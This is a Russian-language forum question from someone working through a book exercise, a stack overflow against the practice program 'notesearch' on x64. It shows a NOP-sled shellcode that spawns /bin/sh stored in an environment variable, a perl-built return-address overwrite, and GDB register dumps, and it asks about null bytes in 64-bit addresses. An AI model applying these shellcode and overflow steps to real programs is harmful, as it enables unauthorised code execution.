Выполнение шелл-кода в x64 вызывает ошибку сегментации - PullRequest
0 голосов
/ 24 февраля 2019

Я пытался выполнить шелл-код на моем компьютере с помощью переменных среды.У меня это здесь:

[avaxio@parrot]─[~/Desktop/hax]
└──╼ $export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
┌─[avaxio@parrot]─[~/Desktop/hax]
└──╼ $echo $SHELLCODE
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
                                                 XQh//shh/bin��Q��S��̀

Затем я нахожу, где это находится в моей целевой программе:

0x7fffae179437: "SHELLCODE=", '\220' <repeats 190 times>...
0x7fffae1794ff: "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
0x7fffae17952d: "COLORTERM=truecolor"

После этого я пытаюсь вызвать переполнение буфера путем отправки его адрес на вход,Давайте посмотрим на результаты GDB, так как там программа не работает:

$sudo gdb -q ./notesearch
Reading symbols from ./notesearch...(no debugging symbols found)...done.
(gdb) run $(perl -e 'print "\x4f\x94\x17\xae\xff\x7f"'x20)
Starting program: /home/avaxio/Desktop/hax/notesearch $(perl -e 'print "\x4f\x94\x17\xae\xff\x7f"'x20)
[DEBUG] found a 2 byte note for user id 0
-------[ end of note data ]-------

Program received signal SIGSEGV, Segmentation fault.
0x0000564b323d4455 in main ()

Теперь, так как я получил ошибку сегментации, я хочу посмотреть, что происходит с моими регистрами, поэтому я смотрю:

    (gdb) i reg
    rax            0x0                 0
    rbx            0x0                 0
    rcx            0x7fd64a625ec4      140558347689668
    rdx            0x7fd64a6f88c0      140558348552384
    rsi            0x564b33d27260      94880991965792
    rdi            0x3                 3
    rbp            0x7fffae17944f7fff  0x7fffae17944f7fff
    rsp            0x7ffd7e9992a8      0x7ffd7e9992a8
    r8             0x7fd64a6fd500      140558348571904
    r9             0x5b2d2d2d2d2d2d2d  6569957103458135341
    r10            0x0                 0
    r11            0x246               582
    r12            0x564b323d4120      94880965411104
    r13            0x7ffd7e999380      140726727447424
    r14            0x0                 0
    r15            0x0                 0
    rip            0x564b323d4455      0x564b323d4455 <main+179>
    eflags         0x10207             [ CF PF IF RF ]
    cs             0x33                51
    ss             0x2b                43
    ds             0x0                 0
    es             0x0                 0
    fs             0x0                 0

И если я смотрю на базовый указатель, я вижу, что rbp 0x 7fffae17944f 7fff 0x 7fffae17944f 7fff

Это означает, что скрипт работает правильно, норегистр имеет два дополнительных бита.И после того, как я спамил этот адрес 20 раз, получается, что первые два бита адреса переполняются два последних бита регистра , что, безусловно, вызывает ошибку сегментации, поскольку нетданные по 0x7fffae17944f7fff.

Я знаю, что адрес переменной SHELLCODE равен 0x7fffae1794 37 , а не 0x7fffae1794 4f , и я просто хочу приблизиться к середине NOP,Я пытался отправить нулевые байты, но, как оказалось, bash запрещает отправлять их и просто игнорирует их.Итак, я хочу знать - возможно ли сделать такой тип атаки на архитектуру x64?Может быть, есть способ сделать переменную среды длиной 8 байтов вместо 6?Или, может быть, есть способ отправить нулевые байты в начале, чтобы я мог получить значение rbp что-то вроде 0x00007fffae17944f?Или, может быть, есть другие способы сделать это?Делаю это только для учебы, как я учусь по книге:)

...